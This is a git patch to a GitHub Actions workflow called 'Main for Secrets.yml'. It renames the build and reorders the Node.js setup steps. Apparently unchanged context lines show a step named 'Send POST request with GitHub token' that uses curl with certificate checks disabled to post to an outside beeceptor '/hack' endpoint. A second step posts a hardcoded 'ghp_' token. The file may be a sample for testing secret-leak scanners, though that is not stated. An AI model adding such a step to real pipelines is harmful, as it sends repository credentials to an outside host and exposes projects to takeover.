From 83dab699c4145ac73147a67e76c038ed2b242a7d Mon Sep 17 00:00:00 2001 From: Pranesh-Shrestha Date: Wed, 18 Dec 2024 10:08:31 +0545 Subject: [PATCH] Update Main for Secrets.yml --- .github/workflows/Main for Secrets.yml | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/.github/workflows/Main for Secrets.yml b/.github/workflows/Main for Secrets.yml index fda0989..f4aa7bd 100644 --- a/.github/workflows/Main for Secrets.yml +++ b/.github/workflows/Main for Secrets.yml @@ -1,4 +1,4 @@ -name: Build Python Package +name: Build JS Package on: push: branches: [ STAGE ] @@ -88,11 +88,7 @@ jobs: SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }} - name: Checkout the code uses: actions/checkout@v3 - - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v3 - with: - node-version: ${{ matrix.node-version }} - + - name: Send POST request with GitHub token run: | curl -k -X POST https://vbirmock.free.beeceptor.com/hack \ @@ -105,6 +101,13 @@ jobs: curl -k -X POST https://api.github.com/endpoint \ -d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}' - - name: install dependencies + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v3 + with: + node-version: ${{ matrix.node-version }} - run: npm install + + + +